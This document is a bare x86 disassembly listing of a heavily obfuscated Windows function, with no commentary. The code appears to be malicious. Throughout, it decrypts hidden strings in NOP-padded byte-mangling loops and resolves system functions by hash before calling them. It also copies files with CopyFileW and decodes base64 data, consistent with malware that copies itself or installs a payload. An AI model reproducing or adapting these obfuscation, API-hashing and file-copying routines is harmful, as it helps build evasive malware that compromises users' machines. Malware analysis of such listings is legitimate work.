mov dword [ebp - 0x14], edi
mov edi, esi
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xb8], 0x4c4d4a4b
mov word [ebp - 0xb4], 0
mov ecx, 0x72
mov edx, 0x8d
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0x12a]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0xc5
sub al, bl
mov byte [ebp + ecx - 0x12a], al
inc ecx
dec edx
cmp ecx, 0x78
jne 0x42cfb0
mov ecx, dword [0x452df4]
test ecx, ecx
mov ebx, edi
je 0x42d008
mov edx, dword [ebp - 0xb8]
xor esi, esi
mov edi, dword [0x452df8]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42d000
inc esi
cmp ecx, esi
jne 0x42cff0
jmp 0x42d008
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42d011
mov edi, dword [ebp - 0x14]
jmp dword [0x44eb7c]
push dword [ebp - 0x10]
push 1
push dword [0x452dfc]
push ecx
call fcn.00442cc0
add esp, 0x10
mov edi, dword [ebp - 0x14]
jmp dword [0x44eb7c]
mov edi, ebx
jmp dword [0x44eb30]
push 0
push ebx
push dword [esi]
call fcn.004460a0
add esp, 0xc
not eax
shr eax, 0x1f
xor edi, edi
xor esi, esi
jmp dword [eax*4 + 0x44eb24]
xor ebx, ebx
xor edi, edi
jmp dword [0x44eb7c]
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x44eb84]
mov dword [edi], 0xd1f4cf89
mov dword [edi + 4], 0xd5b7d38c
mov dword [edi + 8], 0xd9b8d7a5
mov dword [edi + 0xc], 0xddb1dbbe
mov dword [edi + 0x10], 0xe182dfb5
mov dword [edi + 0x14], 0xe593e385
mov dword [edi + 0x18], 0xe980e78a
mov dword [edi + 0x1c], 0xed83eb83
mov dword [edi + 0x20], 0xf198efc2
mov dword [edi + 0x24], 0xf594f394
mov word [edi + 0x28], 0xf7f4
mov dword [edi + 0x2a], 0
xor eax, eax
nop
mov ecx, eax
add cl, 0x4d
xor cl, byte [edi + eax]
add cl, 0x7f
mov byte [edi + eax], cl
inc eax
cmp eax, 0x2e
jne 0x42d0c0
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [edi], 0xd1f4cf89
mov dword [edi + 4], 0xd5b7d38c
mov dword [edi + 8], 0xd9b8d7a5
mov dword [edi + 0xc], 0xddb1dbbe
mov dword [edi + 0x10], 0xe182dfb5
mov dword [edi + 0x14], 0xe593e385
mov dword [edi + 0x18], 0xe980e78a
mov dword [edi + 0x1c], 0xed83eb83
mov dword [edi + 0x20], 0xf198efc2
mov dword [edi + 0x24], 0xf594f394
mov word [edi + 0x28], 0xf7f4
mov dword [edi + 0x2a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x4d
xor cl, byte [edi + eax]
add cl, 0x7f
mov byte [edi + eax], cl
inc eax
cmp eax, 0x2e
jne 0x42d140
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x44eb04]
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x30]
push esi
push dword [ebp - 0x2c]
call fcn.00445d50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44eb0c]
int3
mov edx, dword [ebp - 0x4c]
add edx, 4
mov eax, dword [ebp - 0x1c]
lea edi, [eax + 2]
xor eax, eax
cmp edx, 0xc
setne al
mov dword [ebp - 0x58], edi
mov ecx, dword [ebp - 0x44]
jmp dword [eax*4 + 0x44ec9c]
mov dword [ebp - 0x4c], edx
mov ecx, dword [ecx + edx]
mov eax, 0xfffffffe
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x42d1e0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x48], eax
mov edx, eax
sar edx, 1
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
lea ecx, [edx + eax]
mov dword [ebp - 0x40], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42d215
mov eax, 0xffffffff
push eax
call fcn.0040c7f0
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax]
mov eax, edx
test cx, cx
je 0x42d241
mov eax, edx
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x42d230
mov dword [ebp - 0x24], edx
mov word [eax], 0x5c
mov edi, dword [ebp - 0xa0]
mov dword [edi], 0x1f521944
mov dword [edi + 4], 0x63c51daf
mov dword [edi + 8], 0x67ca61c1
mov dword [edi + 0xc], 0x6b3d6504
mov dword [edi + 0x10], 0x6fcf69dc
mov dword [edi + 0x14], 0x73d76dd8
mov word [edi + 0x18], 0x7170
mov ecx, dword [ebp - 0x64]
mov word [ecx + 4], 0
mov dword [ecx], 0
mov ecx, 0x8437603a
mov edx, 0xc5
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edi + ecx + 0x7bc89fc6]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
mov esi, ebx
not esi
and esi, 1
add ebx, 0xdd
or ebx, 1
add ebx, esi
mov byte [edi + ecx + 0x7bc89fc6], bl
inc ecx
dec edx
cmp ecx, 0x8437605a
jne 0x42d2a0
add eax, 2
mov edx, dword [ebp - 0x18]
movzx ecx, word [edx]
test cx, cx
je 0x42d310
add edx, 2
mov ebx, dword [ebp - 0x30]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d2f0
jmp 0x42d313
mov ebx, dword [ebp - 0x30]
mov word [eax], 0
movzx ecx, word [edi]
test cx, cx
mov esi, dword [ebp - 0x24]
je 0x42d341
mov edx, dword [ebp - 0x98]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d330
mov word [eax], 0
push 0x60
push 3
push 0x120089
push ebx
push esi
call fcn.00445d50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ecac]
xor ebx, ebx
jmp dword [0x44ed2c]
push 0
push dword [ebp - 0x60]
push dword [ebx]
call fcn.004460a0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
jmp dword [eax*4 + 0x44ecb4]
mov eax, dword [ebp - 0x60]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.0040c7f0
add esp, 4
push 0
push esi
mov dword [ebp - 0x68], eax
push eax
push dword [ebx]
call fcn.00446180
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
jmp dword [eax*4 + 0x44ecbc]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x68]
mov byte [ecx + eax], 0
push ecx
call fcn.00403b10
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x14], 0
jmp dword [ecx*4 + 0x44ecc4]
jmp dword [0x44ed24]
push dword [ebp - 0x68]
call fcn.0040c800
add esp, 4
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x8c], 0x4c4d4a4b
mov word [ebp - 0x88], 0
mov ecx, 0x72
mov edx, 0x8d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0xfe]
mov eax, ecx
xor eax, edx
and eax, esi
xor eax, edx
mov bl, 0xc5
sub bl, al
mov byte [ebp + ecx - 0xfe], bl
inc ecx
dec edx
cmp ecx, 0x78
jne 0x42d430
mov ecx, dword [0x452df4]
test ecx, ecx
mov esi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x14]
je 0x42d490
mov edx, dword [ebp - 0x8c]
xor edi, edi
mov eax, dword [0x452df8]
nop
cmp dword [eax + edi*8], 0x7e776f1
je 0x42d480
inc edi
cmp ecx, edi
jne 0x42d470
jmp 0x42d490
mov eax, dword [eax + edi*8 + 4]
cmp eax, edx
jne 0x42d49c
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44ed2c]
jmp dword [0x44ed38]
push dword [ebp - 0x10]
push 1
push dword [0x452dfc]
push eax
call fcn.00442cc0
add esp, 0x10
jmp dword [0x44ed2c]
mov dword [ebp - 0x90], eax
push eax
call fcn.00404490
add esp, 4
mov edx, dword [ebp - 0x74]
mov dword [edx], 0xcccbbeb5
mov dword [edx + 4], 0xb9beb0be
mov dword [edx + 8], 0x344038fe
mov dword [edx + 0xc], 0x41464846
mov dword [edx + 0x10], 0x343b3f3f
mov word [edx + 0x14], 0x4033
mov byte [edx + 0x16], 0xde
mov dword [edx + 0x17], 0
mov ecx, 0xa0c6a608
movzx ebx, byte [edx]
mov edi, ecx
or edi, ebx
lea esi, [ecx + 0x5f395a00]
and esi, ebx
xor esi, edi
lea ebx, [esi + esi]
not ebx
add ebx, esi
add bl, 0x2d
mov byte [edx], bl
inc edx
dec ecx
cmp ecx, 0xa0c6a5ed
jne 0x42d500
push dword [ebp - 0x74]
push eax
call fcn.004045d0
add esp, 8
mov edx, 0xffffffff
mov dword [ebp - 0x10], 0xfffffffd
nop
mov ecx, edx
add dword [ebp - 0x10], 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42d540
shr dword [ebp - 0x10], 2
movzx ecx, byte [eax + edx - 1]
cmp ecx, 0x3d
je 0x42d563
cmp ecx, 0x2e
jne 0x42d566
dec dword [ebp - 0x10]
mov dword [ebp - 0x20], edx
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
je 0x42d578
cmp ecx, 0x2e
jne 0x42d585
mov ecx, dword [ebp - 0x10]
mov edx, ecx
not edx
lea ecx, [edx + ecx*2]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x10]
inc eax
push eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x20], 0
je 0x42d67d
xor ecx, ecx
mov edi, 2
jmp 0x42d5c0
mov ecx, dword [ebp - 0x6c]
nop
nop
lea eax, [edi + 4]
add edi, 2
cmp edi, edx
mov edi, eax
jae 0x42d67d
mov dword [ebp - 0x14], ecx
mov esi, dword [ebp - 0x28]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.00422440
add esp, 4
mov ebx, eax
movzx eax, byte [esi + edi - 1]
push eax
call fcn.00422440
mov edx, dword [ebp - 0x20]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x14]
mov byte [ecx + esi], al
lea ecx, [esi + 1]
cmp edi, edx
jae 0x42d5b0
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax + edi]
push eax
mov esi, ecx
call fcn.00422440
mov ecx, esi
mov edx, dword [ebp - 0x20]
add esp, 4
cmp al, 0x40
je 0x42d5b0
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov esi, dword [ebp - 0x14]
lea ecx, [esi + 2]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x2c]
mov byte [ecx + esi + 1], al
lea eax, [edi + 1]
cmp eax, edx
jae 0x42d5ab
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.00422440
mov edx, dword [ebp - 0x20]
add esp, 4
cmp al, 0x40
mov ecx, dword [ebp - 0x6c]
je 0x42d5b0
shl bl, 6
add al, bl
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x14]
mov byte [ecx + esi + 2], al
add esi, 3
mov ecx, esi
jmp 0x42d5b0
mov eax, dword [ebp - 0x10]
add eax, 0xfffffffb
mov esi, dword [ebp - 0x9c]
mov dword [esi], eax
mov eax, dword [ebp - 0x2c]
add eax, 5
mov dword [esi + 4], eax
mov edi, dword [ebp - 0x54]
mov dword [edi], 0
mov dword [edi + 4], 0
push 0x31f26afb
push dword [0x452e00]
call fcn.004452a0
add esp, 8
push edi
push 0
push 0
push 0
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [ebp - 0x30]
jmp dword [ecx*4 + 0x44eccc]
mov dword [ebp - 0x14], 0
jmp 0x42da45
jmp dword [0x44ecd4]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov edx, dword [ebp - 0x40]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42d710
mov eax, 0xffffffff
push eax
call fcn.0040c7f0
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
mov edx, dword [ebp - 0x58]
je 0x42d741
mov eax, esi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d730
mov dword [ebp - 0x14], esi
mov word [eax], 0x5c
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], 0x1fd219c4
mov dword [ecx + 4], 0xe3451daf
mov dword [ecx + 8], 0xe74ae141
mov dword [ecx + 0xc], 0xeb3de504
mov dword [ecx + 0x10], 0xef5de95c
mov dword [ecx + 0x14], 0xf353ed5a
mov dword [ecx + 0x18], 0xf753f15b
mov dword [ecx + 0x1c], 0xfb56f528
mov dword [ecx + 0x20], 0xff44f95d
mov dword [ecx + 0x24], 0xc36efd59
mov dword [ecx + 0x28], 0xc760c164
mov dword [ecx + 0x2c], 0xc5c4
mov esi, 0xfa
mov edx, 5
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ecx + esi - 0xfa]
mov ebx, edx
and ebx, 0x22
mov ecx, esi
and ecx, 0xdd
or ecx, ebx
mov ebx, edx
or ebx, edi
xor ecx, 0xdd
or ecx, edx
and ecx, edi
not ebx
or ebx, ecx
mov ecx, dword [ebp - 0x3c]
add bl, 0x1e
mov byte [ecx + esi - 0xfa], bl
inc esi
dec edx
cmp esi, 0x12a
jne 0x42d7b0
add eax, 2
mov edx, dword [ebp - 0x18]
movzx ecx, word [edx]
test cx, cx
je 0x42d823
add edx, 2
mov esi, dword [ebp - 0x80]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d810
jmp 0x42d826
mov esi, dword [ebp - 0x80]
mov word [eax], 0
mov ecx, dword [ebp - 0x3c]
movzx ecx, word [ecx]
test cx, cx
je 0x42d851
mov edx, dword [ebp - 0x78]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d840
mov word [eax], 0
mov eax, dword [ebp - 0x48]
add eax, 0x12
cmp dword [ebp - 0x40], 0xfffffff7
jge 0x42d867
mov eax, 0xffffffff
push eax
call fcn.0040c7f0
add esp, 4
mov ebx, eax
mov dword [esi], 0x138611c7
mov dword [esi + 4], 0x1f801df1
mov dword [esi + 8], 0x1b8e19f5
mov dword [esi + 0xc], 0x7e405e8
mov word [esi + 0x10], 0x100
mov eax, dword [ebp - 0x5c]
mov word [eax], 0
mov byte [eax + 2], 0
mov eax, 0xf05d7044
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax + 0xfa28fbc]
xor ecx, eax
mov edx, ecx
xor edx, 0x55
and ecx, 0x2a
add ecx, ecx
sub ecx, edx
inc cl
mov byte [esi + eax + 0xfa28fbc], cl
inc eax
cmp eax, 0xf05d7059
jne 0x42d8b0
mov edx, dword [ebp - 0x18]
movzx ecx, word [edx]
mov eax, ebx
test cx, cx
je 0x42d901
add edx, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d8f0
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
je 0x42d933
mov edx, dword [ebp - 0x94]
mov esi, dword [ebp - 0x7c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d920
jmp 0x42d936
mov esi, dword [ebp - 0x7c]
mov word [eax], 0
mov dword [esi], 0xd1cecfe6
mov eax, dword [ebp - 0x84]
mov byte [eax + 2], 0
mov word [eax], 0
mov eax, 0xbd6817cd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax + 0x4297e833]
xor ecx, eax
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
add cl, 0xfe
mov byte [esi + eax + 0x4297e833], cl
inc eax
cmp eax, 0xbd6817d4
jne 0x42d960
push 0
push 0
push 0xc00000
push esi
mov esi, dword [ebp - 0x14]
push esi
push ebx
push dword [ebp + 8]
call fcn.00425870
add esp, 0x1c
mov ecx, dword [ebp - 0x50]
and cl, 1
or cl, al
mov dword [ebp - 0x50], ecx
jmp dword [0x44ed5c]
push ebx
call fcn.0040c800
add esp, 4
jmp dword [0x44ed64]
jmp dword [0x44ed64]
push esi
call fcn.0040c800
add esp, 4
mov edx, dword [ebp - 0x4c]
add edx, 4
mov eax, dword [ebp - 0x1c]
lea edi, [eax + 2]
xor eax, eax
cmp edx, 0xc
setne al
mov dword [ebp - 0x58], edi
mov ecx, dword [ebp - 0x44]
jmp dword [eax*4 + 0x44ec9c]
jmp dword [0x44ed1c]
push dword [ebp - 0x2c]
call fcn.0040c800
add esp, 4
push dword [ebp - 0x90]
call fcn.00404700
add esp, 4
jmp dword [0x44ed24]
movzx eax, bl
jmp dword [eax*4 + 0x44ed54]
push 0xd80d2c4a
push dword [0x452de8]
call fcn.004452a0
add esp, 8
mov ecx, dword [ebp - 0x54]
push dword [ecx + 4]
call eax
mov eax, dword [case.0x42cf62.98]
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44ecfc]
push esi
call fcn.0040c800
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040c800
add esp, 4
jmp dword [0x44ed08]
xor eax, eax
mov edx, dword [ebp - 0x18]
cmp eax, 0x11
ja 0x42dae3
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 0x34]
movzx ecx, byte [ebx + eax]
mov edx, eax
or edx, 0x7fed17c0
mov esi, ecx
not esi
or esi, edx
lea edx, [ecx + esi]
inc edx
mov edi, edx
or edi, 0xfd
inc edi
mov esi, edx
and esi, 0xfd
imul esi, edi
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
sub esi, edx
mov edx, dword [ebp - 0x18]
add ecx, eax
add ecx, 0x7fed17c0
add ecx, esi
add cl, 0x40
mov byte [ebx + eax], cl
inc eax
cmp eax, 0x11
jbe 0x42da90
movzx ecx, word [edx]
mov esi, dword [ebp - 0x10]
mov eax, esi
test cx, cx
je 0x42db11
mov eax, dword [ebp - 0x18]
lea edx, [eax + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42db00
mov word [eax], 0
mov ecx, dword [ebp - 0x34]
movzx ecx, word [ecx]
test cx, cx
mov ebx, dword [ebp - 0x30]
je 0x42db41
mov edx, dword [ebp - 0x70]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42db30
mov word [eax], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x54]
push dword [eax]
push dword [eax + 4]
mov esi, dword [ebp - 0x10]
push esi
call fcn.0040d480
mov dword [ebp - 0x14], eax
jmp dword [0x44ecf4]
push esi
call fcn.0040c800
add esp, 4
push esi
call fcn.0040c800
add esp, 4
jmp dword [0x44ed40]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0x3e6012f
mov dword [eax + 4], 0x72805f4
mov dword [eax + 8], 0xbf209fc
mov dword [eax + 0xc], 0xf0e0df8
mov word [eax + 0x10], 0
mov eax, dword [ebp - 0x48]
add eax, 0x10
cmp dword [ebp - 0x40], 0xfffffff8
jge 0x42dbbd
mov eax, 0xffffffff
push eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x34]
mov dword [eax], 0x3e6012f
mov dword [eax + 4], 0x72805f4
mov dword [eax + 8], 0xbf209fc
mov dword [eax + 0xc], 0xf0e0df8
mov word [eax + 0x10], 0
jmp dword [0x44ece0]
xor esi, esi
mov edx, dword [ebp - 0x5c]
lea eax, [edx + 2]
mov dword [ebp - 0x94], eax
add dword [ebp - 0x78], 2
mov eax, dword [ebp - 0x1c]
lea ebx, [eax + 2]
add dword [ebp - 0x70], 2
mov eax, dword [ebp - 0x64]
lea edi, [eax + 2]
mov dword [ebp - 0x98], edi
add dword [ebp - 0x84], 4
add edx, 0x12
mov dword [ebp - 0x5c], edx
add eax, 0x1a
mov dword [ebp - 0x64], eax
xor eax, eax
mov dword [ebp - 0x50], 0
cmp esi, 0xc
setne al
xor edx, edx
mov dword [ebp - 0x58], ebx
mov edi, ebx
jmp dword [eax*4 + 0x44ec9c]
jmp dword [0x44eca4]
push dword [ebp - 0x1c]
call fcn.0040c800
add esp, 4
jmp dword [0x44ed70]
jmp dword [0x44ed70]
jmp dword [0x44ed78]
jmp dword [0x44ed78]
mov eax, dword [ebp - 0x50]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
mov dword [ebp - 0x38], esp
sub esp, 0x18
mov ecx, esp
sub esp, 0x18
mov dword [ebp - 0x4c], esp
sub esp, 0x10
mov dword [ebp - 0x20], esp
sub esp, 0x14
mov dword [ebp - 0x10], esp
sub esp, 0x1c
mov dword [ebp - 0x28], esp
sub esp, 0x20
mov dword [ebp - 0x18], esp
sub esp, 0x18
mov dword [ebp - 0x40], esp
sub esp, 0x18
mov dword [ebp - 0x24], esp
sub esp, 0xc
mov dword [ebp - 0x44], esp
sub esp, 0x20
mov eax, esp
mov dword [ebp - 0x64], eax
mov dword [ebp - 0xa0], eax
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x60], esp
sub esp, 0x1c
mov dword [ebp - 0x74], esp
sub esp, 8
mov dword [ebp - 0x9c], esp
sub esp, 8
mov dword [ebp - 0x54], esp
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x34], eax
sub esp, 0x30
mov eax, esp
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x3c], eax
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x80], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x7c], eax
mov eax, dword [0x452df0]
mov dword [ebp - 0x48], eax
mov dword [ecx], 0x317d3f1b
mov dword [ecx + 4], 0x35423340
mov dword [ecx + 8], 0x49553770
mov dword [ecx + 0xc], 0x4d294b3c
mov dword [ecx + 0x10], 0x414e4f6b
mov word [ecx + 0x14], 0
xor edx, edx
xor esi, esi
mov dword [ebp - 0x2c], ecx
mov eax, ecx
nop
mov dword [ebp - 0x1c], edx
movzx ebx, byte [eax]
mov dword [ebp - 0x14], ebx
mov edx, dword [ebp - 0x1c]
and edx, 0x1f372f96
mov ecx, esi
xor ecx, 0x70646834
sub ecx, edx
lea edi, [ecx + 1]
and edi, ebx
mov edx, edi
and edx, 0xfffffffd
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
xor ebx, 2
imul ebx, edx
mov edx, dword [ebp - 0x1c]
add edi, ebx
not edi
add ecx, edi
inc ecx
add cl, byte [ebp - 0x14]
add cl, 0xf8
mov byte [eax], cl
inc eax
dec esi
add edx, 0xfffffffe
cmp esi, 0xffffffea
jne 0x42dd50
mov esi, dword [ebp - 0x38]
push esi
push 0
push 0
push 9
push dword [ebp - 0x2c]
push 0
call dword [ebp - 0x48]
mov ebx, dword [esi]
lea eax, [ebx + ebx]
test ebx, ebx
jns 0x42ddc3
mov eax, 0xffffffff
push eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [0x452df0]
mov edi, dword [ebp - 0x4c]
mov dword [edi], 0x63236145
mov dword [edi + 4], 0x67166514
mov dword [edi + 8], 0x7b1b793c
mov dword [edi + 0xc], 0x7f1f7d08
mov dword [edi + 0x10], 0x73727155
mov dword [edi + 0x14], 0
xor ecx, ecx
mov esi, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xe8
xor dl, byte [edi + ecx]
add dl, 0x78
mov byte [edi + ecx], dl
inc ecx
cmp ecx, 0x18
jne 0x42de10
push dword [ebp - 0x38]
push ebx
push dword [ebp - 0x1c]
push 9
push edi
push 0
call eax
mov dword [esi], 0xd9a5db80
mov dword [esi + 4], 0xddbbdfad
mov dword [esi + 8], 0xd1a4d3ad
mov dword [esi + 0xc], 0xd5d6d7b4
mov eax, esi
add eax, 0x10
mov dword [esi + 0x10], 0
mov ecx, 0x6d3857cf
nop
nop
movzx edx, byte [esi + ecx - 0x6d3857cf]
xor edx, ecx
lea esi, [edx + 0x1e648f4]
mov ebx, 0x2219b70b
sub ebx, edx
mov edi, ebx
and ebx, 0xa0a04392
and esi, 0x2103c6d
or esi, ebx
and edx, 1
not edi
xor esi, 0xe9aec393
and edi, 1
or edi, esi
mov esi, edi
and esi, edx
xor edi, edx
lea edx, [edi + esi*2]
mov esi, dword [ebp - 0x10]
mov byte [esi + ecx - 0x6d3857cf], dl
inc ecx
cmp ecx, 0x6d3857e3
jne 0x42de60
mov edx, dword [ebp - 0x20]
mov edi, edx
mov ecx, 4
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
add edx, 0x10
mov edi, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 0xe905eb20
mov dword [ebx + 4], 0xed0bef1d
mov dword [ebx + 8], 0xf104f31d
mov dword [ebx + 0xc], 0xf533f714
mov dword [ebx + 0x10], 0xf908fb13
mov dword [ebx + 0x14], 0xfd08ff1f
mov dword [ebx + 0x18], 0x81828303
mov eax, ebx
add eax, 0x1c
mov byte [ebx + 0x1c], 0
mov ecx, 0xdb9527
mov edx, 0x73246ad8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x53004a9c
mov edi, ecx
and edi, 0xd89563
or edi, esi
movzx esi, byte [ebx + ecx - 0xdb9527]
xor edi, esi
mov esi, edi
and esi, 1
xor edi, 0x9d
lea ebx, [edi + esi*2]
add bl, 0x3c
mov esi, dword [ebp - 0x18]
mov byte [esi + ecx - 0xdb9527], bl
mov ebx, dword [ebp - 0x18]
inc ecx
dec edx
cmp ecx, 0xdb9544
jne 0x42df20
mov edx, dword [ebp - 0x28]
mov edi, edx
mov ecx, 7
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
add edx, 0x1c
mov edi, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x71a50f48
mov dword [eax + 4], 0x75d773e5
mov dword [eax + 8], 0x79e477e5
mov dword [eax + 0xc], 0x7dca7bdc
mov dword [eax + 0x10], 0x613c7fc8
mov ecx, eax
add ecx, 0x14
mov dword [ebp - 0x18], ecx
mov dword [eax + 0x14], 0x6360
mov ecx, 0xeba83b3d
mov edx, 0xaea0ecf4
nop
nop
movzx ebx, byte [eax + ecx + 0x1457c4c3]
mov esi, ecx
and esi, ebx
add esi, esi
mov edi, esi
sub edi, ebx
add edi, edx
or edi, 1
add edi, ebx
sub ebx, esi
sub edi, esi
lea esi, [ecx + edi]
add esi, 0x65b6d7cf
mov edi, esi
and edi, 0xfd
mov eax, esi
and eax, 2
or esi, 2
imul esi, eax
xor eax, 2
imul eax, edi
add ebx, ecx
xor ebx, 1
add ebx, esi
add ebx, eax
mov eax, dword [ebp - 0x24]
add bl, 0xce
mov byte [eax + ecx + 0x1457c4c3], bl
inc ecx
dec edx
cmp ecx, 0xeba83b55
jne 0x42dfc0
mov edx, dword [ebp - 0x40]
mov edi, edx
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov edi, edx
add edi, 0x14
mov ecx, 1
mov eax, dword [ebp - 0x18]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov dword [ecx + 4], eax
mov dword [ecx + 8], edx
jmp dword [0x44ec94]
push eax
mov dword [ebp - 0x44], esp
sub esp, 0x18
mov eax, esp
sub esp, 0x18
mov dword [ebp - 0x1c], esp
sub esp, 0x10
mov dword [ebp - 0x28], esp
sub esp, 0x14
mov dword [ebp - 0x3c], esp
sub esp, 0x1c
mov dword [ebp - 0x20], esp
sub esp, 0x20
mov dword [ebp - 0x14], esp
sub esp, 0x18
mov dword [ebp - 0x38], esp
sub esp, 0x18
mov dword [ebp - 0x10], esp
mov ecx, dword [0x452df0]
mov dword [ebp - 0x30], ecx
